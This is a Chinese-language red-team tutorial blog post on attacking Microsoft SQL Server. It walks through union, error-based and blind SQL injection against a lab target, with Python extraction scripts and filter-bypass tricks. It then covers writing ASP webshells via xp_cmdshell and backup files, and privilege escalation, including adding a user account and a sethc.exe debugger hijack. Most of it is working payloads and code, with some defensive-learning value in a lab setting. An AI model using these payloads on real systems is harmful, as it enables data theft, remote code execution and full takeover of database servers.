前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >学习mssql从0到1

学习mssql从0到1

原创
作者头像
红队蓝军
发布2022-03-10 14:10:27
1.1K0
发布2022-03-10 14:10:27
举报
文章被收录于专栏:红队蓝军红队蓝军

一,基本语法:

1.信息收集:

用户:

当前用户名:

代码语言:javascript
复制
select user

用户权限:

服务器级别:

代码语言:javascript
复制
select IS_SRVROLEMEMBER('sysadmin')
1.png
1.png

数据库级别:

代码语言:javascript
复制
select IS_MEMBER('db_owner')
2.png
2.png

2005的xp_cmdshell 你要知道他的权限一般是system 而2008他是nt authority\network service

系统: 当前数据库名:

代码语言:javascript
复制
select db_name()

数据库版本:

代码语言:javascript
复制
select @@version

计算机名:

代码语言:javascript
复制
select host_name()

当前数据库所在计算机名:

代码语言:javascript
复制
select @@servername

判断战库分离:

代码语言:javascript
复制
select host_name()=@@servername

命令: 是否支持xpcmdshell

代码语言:javascript
复制
select count(*) from master.dbo.sysobjects where xtype = 'x' and name =  'xp_cmdshell'
3.png
3.png

返回1就代表存在xp_cmdshell

2.获取数据: 获取库名:

代码语言:javascript
复制
select db_name()
4.png
4.png

获取所有数据库名:

代码语言:javascript
复制
select name from master.dbo.sysdatabases;
5.png
5.png

获取表名:

代码语言:javascript
复制
select name from test.dbo.sysobjects
6.png
6.png

sysobjects表是SQL Server的系统表,记录了数据库内创建的每一个对象 sysobjects表结构:

7.png
7.png

如果直接使用select name from test.dbo.sysobjects,就会造成将一些无用的数据也回显出来,因此我们需要使用xtype来筛选满足条件的对象 以下是未筛选的回显内容

8.png
8.png
代码语言:javascript
复制
select name from test.dbo.sysobjects where xtype = 'u'

以下是我们使用where筛选后的内容

9.png
9.png

当然在实际利用中一般回显一回显一行数据,因此需要使用top来限定只反显1行内容

代码语言:javascript
复制
select top 1 name from test.dbo.sysobjects where xtype = 'u'
10.png
10.png

那该如何获取下一个表名呢?

11.png
11.png
代码语言:javascript
复制
select top 1 name from test.dbo.sysobjects where xtype = 'u' and name  !='emails'

我想你会想,如果是我要获取第10个表名的话岂不是需要写9个条件判断语句,那样也太繁琐了吧 因此我们可以直接利用sql语法,not in('xxxx')

代码语言:javascript
复制
select top 1 name from test.dbo.sysobjects where xtype = 'u' and name  not in('emails','uagents')
12.png
12.png

获取字段名: 数据库表syscolumns 各个字段含义: 每个数据库创建后都会有一些系统表用来存储该数据库的一些基本信息 每个表和视图中的每列在表中占一行,存储过程中的每个参数在表中也占一行。该表位于每个数据库中。

13.png
13.png
代码语言:javascript
复制
select * from test.dbo.syscolumns

如果不进行筛选的话,会有许多有关数据库配置等无关的字段出现

14.png
14.png

在mssql中每一张表都有直接的id,因此我们可以sysobjects来查询到我们想要的表的id,进而达到筛选的目的

代码语言:javascript
复制
select name from test.dbo.syscolumns where id=(select id from  test.dbo.sysobjects where name = 'users') and name<>'id'

在实际情况下,如果我们要爆的数据是在web应用所使用的表时,可以省略test.dbo.

15.png
15.png
16.png
16.png

当然如果只能回显一行的话依然需要使用top 爆数据:

代码语言:javascript
复制
select top 1 username+':'+ password from test.dbo.users
17.png
17.png

爆数据payload总结:

代码语言:javascript
复制
库名:
select name from master.dbo.sysdatabases;
表名:
select top 1 name from test.dbo.sysobjects where xtype = 'u' and name  not in('emails','uagents');
列名:
select name from syscolumns where id=(select id from sysobjects where  name = 'users') and name<>'id'
数据:
select top 1 username+':'+ password from test.dbo.users

二,利用方式

1.union注入:

查看字段数:

代码语言:javascript
复制
order by 3

原理:

18.png
18.png
19.png
19.png

如果字段数超过输出的字段数就会报错,通过报错来确定有几个字段 下面以mssql sqli labs为例:

20.png
20.png
21.png
21.png

判断出有3个字段 查看回显位置:

代码语言:javascript
复制
union select 1,2,3

可以判断有回显的字段未2,3字段

22.png
22.png

爆库名:

代码语言:javascript
复制
union select 1,(select db_name()),3--+

爆表名:

代码语言:javascript
复制
union all select 1,(select top 1 name from test.dbo.sysobjects where xtype = 'U'),3--+
24.png
24.png
代码语言:javascript
复制
union all select 1,(select top 1 name from test.dbo.sysobjects where xtype='U' and name not in ('emalis')),3--+
25.png
25.png

爆列名:

代码语言:javascript
复制
union select 1,(select top 1 name from test.dbo.syscolumns where id=(select id from test.dbo.sysobjects where name = 'users') and name<>'id'),3--+
26.png
26.png
代码语言:javascript
复制
union select 1,(select top 1 name from test.dbo.syscolumns where id=(select id from test.dbo.sysobjects where name = 'users' ) and name not in('id','username')),3--+
27.png
27.png

爆数据:

代码语言:javascript
复制
union select 1,2,(select top 1 username%2B':'%2Bpassword from test.dbo.users)--+
如果要直接使用+号需要进行url编码%2B,不然会被解析为空格,--+中的+就是空格
28.png
28.png

2.报错注入:

报错注入分为三类: 隐式转换,和显示转换,declare函数 隐式转换:

代码语言:javascript
复制
原理:将不同数据类型的数据进行转换或对比
select * from test.dbo.users where (select user)>0  #对比
select * from test.dbo.users where ((select user)/1)=1 #运算
29.png
29.png
30.png
30.png

显示转换:

代码语言:javascript
复制
原理:
依靠:CAST,DECLARE和CONVERT函数进行数据类型转,当如果转化的是有关查询语句的结果,那么就会触发报错,但注意只能爆一个字符串
select 'naihe567' as name,'567' as num)as  b#这里我们使用了select 创建了一个自定义的临时表方便观察
select cast((select name from (select 'naihe567' as name,'567' as num)as  b) as int) #cast函数
select convert(int,(select name from (select 'naihe567' as name,'567' as  num)as b)) #convert函数
declare @s varchar(2000) set @s='select naihe567' exec(@s) #declare
31.png
31.png
32.png
32.png
33.png
33.png

后面的爆数据我在这里就不在重复了,也免得浪费读者时间

3.盲注

布尔盲注(有回显):

1.爆破数据库名:

代码语言:javascript
复制
ascii(substring(db_name(),1,1))=95
#使用substring将字符串分解,对比ascii码

2.爆破表名:

代码语言:javascript
复制
1=(select count(*) from sysobjects where name in (select top 1 name from sysobjects where xtype='u') and ascii(substring(name,1,1))<95)
#通过条件筛选,并使用count来回去返回的行数,如果为1就说明存在,及正确

3.爆破字段名:

代码语言:javascript
复制
ascii(substring((SELECT TOP 1 column_name FROM information_schema.columns where  table_name='users'),1,1))<95
#通过对比ascii码

4.爆破数据:

代码语言:javascript
复制
ascii(substring((select top 1 username from users),1,1))<95

附带一个简单的脚本

代码语言:javascript
复制
import requests
from time import time

url='http://192.168.0.105/less-1.asp'

result=''
for num in range(1,100):
    #取32-128的ascii码
    pointer = 1
    min=32
    max=128
    #num为当前的爆破的字符位置
    #pointer为正在使用的ascii
    while 1:
        pointer=min+(max-min)//2
        if min==pointer:
            if pointer == 127 or pointer == 0:
                exit()
            result += chr(pointer)
            print(result)
            break

        # 爆表名
        #payload = f"?id=1' and ascii(substring((select top 1 name from master.dbo.sysdatabases),{num},1)) < {pointer}--+".format(
        #num, pointer)
        # 爆表名
        # payload = f"?id=1' and 1=(select count(*) from sysobjects where name in (select top 1 name from sysobjects where xtype='u') and ascii(substring(name,{num},1))<{pointer})--+".format(
        #     num, pointer)
        # 爆表名
        payload = f"?id=1' and ascii(substring((SELECT TOP 1 column_name FROM information_schema.columns where  table_name='users'),{num},1))<{pointer}--+".format(
            num, pointer)
        result_html=requests.get(url=url+payload).text
        # print(result_html)
        if r"Your Login name" in result_html:
            max=pointer
        else :
            min=pointer

时间盲注(无回显):

使用WAITFOR DELAY进行延迟

代码语言:javascript
复制
;if (ascii(substring(db_name(),2,1)))=101 WAITFOR DELAY '0:0:5'
#这里利用并不能像mysql一样在where语句后添加if语句,而是只能利用堆叠注入添加一个if语句来执行延迟
操作和布尔盲注基本一样,在这里直接上脚本:
代码语言:javascript
复制
import requests


import time


url='http://192.168.0.105/less-1.asp'


result=''
for num in range(1,100):
    #取32-128的ascii码
    pointer = 1
    min=32
    max=128
    #num为当前的爆破的字符位置
    #pointer为正在使用的ascii
    while 1:
        pointer=min+(max-min)//2
        if min==pointer:
            if pointer == 127 or pointer == 0:
                exit()
            result += chr(pointer)
            print(result)
            break


        # 爆表名
        payload = f"?id=1';if(ascii(substring((select top 1 name from master.dbo.sysdatabases),{num},1))) < {pointer} WAITFOR DELAY '0:0:1'--+".format(
        num, pointer)
        # 爆表名
        # payload = f"?id=1' if(1)=(select count(*) from sysobjects where name in (select top 1 name from sysobjects where xtype='u') and ascii(substring(name,{num},1))<{pointer}) WAITFOR DELAY '0:0:1'--+".format(
        #     num, pointer)
        # 爆表名
        # payload = f"?id=1';if(ascii(substring((SELECT TOP 1 column_name FROM information_schema.columns where  table_name='users'),{num},1)))<{pointer} WAITFOR DELAY '0:0:1'--+".format(
        #     num, pointer)
        result_html=requests.get(url=url+payload).text
        # print(url+payload)
        # print(result_html)
        try:
            r = requests.get(url=url+payload,timeout=0.5)
            min = pointer
        except:
            max = pointer
        time.sleep(0.2)
    time.sleep(1)

值得注意的是,盲注其实也可以使用like加通配符进行注入,但是如果使用ascii,可以使用二分法减少运算量,因此like的方法我们就不在重复,浪费大家的时间了,推荐使用二分法

三,绕过:

1.垃圾数据:

注释:

代码语言:javascript
复制
单行注释:利用单行注释将多行注释注释掉然后利用换行符换行 
多行注释: /*xxxx*/,xxxx可以是符合数字和字符(这非常关键),但没有mysql中的/*!xx*/这种用法

单行:

代码语言:javascript
复制
select --/*
'naihe567'
--*/
34.png
34.png

但在web传参时需要进行url编码:

代码语言:javascript
复制
select --/*%0a'naihe567'%0a--*/

多行:

35.png
35.png

这里是mssql的

36.png
36.png

下面是mysql的

37.png
37.png

运算符: 运算符一般是配合报错注入使用

代码语言:javascript
复制
select * from test.dbo.users where ++++-+-~~1=(select user)
#原理是使用特殊运算只会改变值并不会改变数据类型,-+^*|&都可以使用
38.png
38.png

2.编码:

编码主要是利用十六进制和ascii码 users表内容如下:

39.png
39.png

十六进制:

代码语言:javascript
复制
select * from test.dbo.users where username=0x44756d6d79
Dummy的十六进制为0x44756d6d79
40.png
40.png

ascii码:

代码语言:javascript
复制
select * from test.dbo.users where username =  char(100)+char(117)+char(109)+char(109)+CHAR(121)
#使用char函数
41.png
41.png

3.回调:

使用declear与exec函数 declear会创建一个局部变量,在使用exec执行变量中的内容

代码语言:javascript
复制
declare @s varchar(2000) set @s=0x73656c656374206e61696865353637  exec(@s)
#declear与exec其实是属于报错注入范畴,但是它可以将一个完成的sql语句进行编码执行
#0x73656c656374206e61696865353637 解码后就是 select naihe567

declare @s varchar(2000) set  @s=CHAR(115)+CHAR(101)+CHAR(108)+CHAR(101)+CHAR(99)+CHAR(116)+CHAR(32)+...+CHAR(39) exec(@s)
#ascii也可以

4.替换:

利用其他空白符替换空格:

代码语言:javascript
复制
%20 %09 %0a %0b %0c %0d

利用[],()替换空格:

代码语言:javascript
复制
select(username)from[test].[dbo].[users]
42.png
42.png

四,写shell:

1.xp_cmdshell:

查看能否使用xpcmd_shell;

代码语言:javascript
复制
select count(*) from master.dbo.sysobjects where xtype = 'x' and name =  'xp_cmdshell'

直接使用xpcmd_shell执行命令:

代码语言:javascript
复制
EXEC master.dbo.xp_cmdshell 'whoami'
43.png
43.png

发现居然无法使用

查看是否存在xp_cmdshell:

代码语言:javascript
复制
EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
44.png
44.png

到现在我们知道了,这台mssql支持xp_cmdshell,但没有开启 开启xp_cmdshell:

代码语言:javascript
复制
启用:
EXEC sp_configure 'show advanced options', 1
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
关闭:
exec sp_configure 'show advanced options', 1;
reconfigure;
exec sp_configure 'xp_cmdshell', 0;
reconfigure;
45.png
45.png

执行命令:

代码语言:javascript
复制
EXEC master.dbo.xp_cmdshell 'whoami'
46.png
46.png

可以看到这里已经有了system权限 主要找到web路径就可以使用cmd目录创建文件,获取web路径在后面有讲解

代码语言:javascript
复制
exec master..xp_cmdshell 'echo ^<%@ Page  Language="Jscript"%^>^<%eval(Request.Item["pass"],"unsafe");%^> >  c:\\666.asp';
47.png
47.png

注意: 如果xp_cmdshell被删除了,需要自己上传xplog70.dll进行恢复

48.png
48.png

exec master.sys.sp_addextendedproc 'xp_cmdshell','C:\Program Files\Microsoft SQL Server\MSSQL\Binn\xplog70.dll' 虽然是写shell,但是xp_cmdshell更多的是用来提权,具体原因其实思考一下就明白了。。。。(我都能上传东西了,我还写什么webshell啊。。。)

2.差异备份:

生成备份文件:

代码语言:javascript
复制
backup database test to disk = 'c:\bak.bak';--

创建表:

代码语言:javascript
复制
create table [dbo].[test] ([cmd] [image]);

插入一句话:

代码语言:javascript
复制
insert into test(cmd)  values(0x3C25657865637574652872657175657374282261222929253E)

再次备份:

代码语言:javascript
复制
backup database test to disk='C:\567.asp' WITH DIFFERENTIAL,FORMAT;--
49.png
49.png

就会生成一个asp一句话

50.png
50.png

3.LOG备份:

代码语言:javascript
复制
1. alter database test set RECOVERY FULL

2. create table cmd (a image)

3. backup log test to disk = 'c:\test' with init

4. insert into cmd (a) values (0x3C25657865637574652872657175657374282261222929253E)

5. backup log test to disk = 'c:\test\2.asp'

#LOG备份的要求是他的数据库备份过,而且选择恢复模式得是完整模式

4.路径获取

由于要写webshell,那么必须知道web的路径

1.通过报错获取网站路径

51.png
51.png

2.使用xp_dirtree获取目录信息:

代码语言:javascript
复制
execute master..xp_dirtree 'c:' //列出所有c:\文件和目录,子目录
execute master..xp_dirtree 'c:',1 //只列c:\文件夹
execute master..xp_dirtree 'c:',1,1 //列c:\文件夹加文件

#一个一个慢慢找
52.png
52.png

3.通过xpcmd_shell:

代码语言:javascript
复制
exec master..xp_cmdshell 'for /r c:\ %i in (i*.aspx) do @echo %i'
53.png
53.png

回显问题: 看到这里,可能有很多小伙伴会不耐烦的说,这是我在软件上执行的sql命令,并非真实注入,该如何回显出信息 其实我们观察这些payload就可以发现,这些命令并非查询语句,并不能与普通的sql语句在一个语句中, 因此想要回显就必须满足,服务器支持堆叠注入

54.png
54.png
55.png
55.png

接下来我们的思路就是创建一张临时表来接收命令执行返回的内容,然后我们在通过查临时表来获取数据

创建临时表:

代码语言:javascript
复制
CREATE TABLE tmpTable (tmp1 varchar(8000));

将数据存入表中:

代码语言:javascript
复制
insert into tmpTable(tmp1) exec master..xp_cmdshell 'ipconfig'

获取数据:

代码语言:javascript
复制
select * from tmpTable
56.png
56.png

后面就是常规爆数据了

五,提权:

1.xp_cmdshell提权:

代码语言:javascript
复制
xp_cmdshell在前面写webshell已经讲解过了,在这里不在重复

2.sp_oacreate提权:

代码语言:javascript
复制
启用:
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'Ole Automation Procedures', 1;
RECONFIGURE WITH OVERRIDE;
关闭:
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'Ole Automation Procedures', 0;
RECONFIGURE WITH OVERRIDE;
代码语言:javascript
复制
执行:
declare @shell int exec sp_oacreate 'wscript.shell',@shell output
exec sp_oamethod
@shell,'run',null,'c:\windows\system32\cmd.exe /c whoami >c:\\1.txt'
57.png
57.png

3.沙盒提权:

代码语言:javascript
复制
1. exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0;

2. exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines', 'SandBoxMode'

沙盒模式SandBoxMode参数含义(默认是2)
`0`:在任何所有者中禁止启用安全模式
`1` :为仅在允许范围内
`2` :必须在access模式下
`3`:完全开启

执行命令:
Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Databasec:\windows\system32\ias\ias.mdb','select shell( net user naihe QWE123. /add )');

4.public

代码语言:javascript
复制
USE msdb
EXEC sp_add_job @job_name = 'GetSystemOnSQL', www.2cto.com
@enabled = 1,
@description = 'This will give a low privileged user access to
xp_cmdshell',
@delete_level = 1
EXEC sp_add_jobstep @job_name = 'GetSystemOnSQL',
@step_name = 'Exec my sql',
@subsystem = 'TSQL',
@command = 'exec master..xp_execresultset N''select ''''exec
master..xp_cmdshell "dir > c:\agent-job-results.txt"'''''',N''Master'''
EXEC sp_add_jobserver @job_name = 'GetSystemOnSQL',
@server_name = 'SERVER_NAME'
EXEC sp_start_job @job_name = 'GetSystemOnSQL'

5.xp_regwrite

代码语言:javascript
复制
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Image File Execution
Options\sethc.EXE','Debugger','REG_SZ','C:\WINDOWS\explorer.exe';

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 一,基本语法:
    • 1.信息收集:
      • 用户:
      • 用户权限:
  • 二,利用方式
    • 1.union注入:
      • 2.报错注入:
        • 3.盲注
          • 布尔盲注(有回显):
          • 时间盲注(无回显):
      • 三,绕过:
        • 1.垃圾数据:
          • 2.编码:
            • 3.回调:
              • 4.替换:
              • 四,写shell:
                • 1.xp_cmdshell:
                  • 2.差异备份:
                    • 3.LOG备份:
                      • 4.路径获取
                      • 五,提权:
                        • 1.xp_cmdshell提权:
                          • 2.sp_oacreate提权:
                            • 3.沙盒提权:
                              • 4.public
                                • 5.xp_regwrite
                                相关产品与服务
                                云数据库 SQL Server
                                腾讯云数据库 SQL Server (TencentDB for SQL Server)是业界最常用的商用数据库之一,对基于 Windows 架构的应用程序具有完美的支持。TencentDB for SQL Server 拥有微软正版授权,可持续为用户提供最新的功能,避免未授权使用软件的风险。具有即开即用、稳定可靠、安全运行、弹性扩缩等特点。
                                领券
                                问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档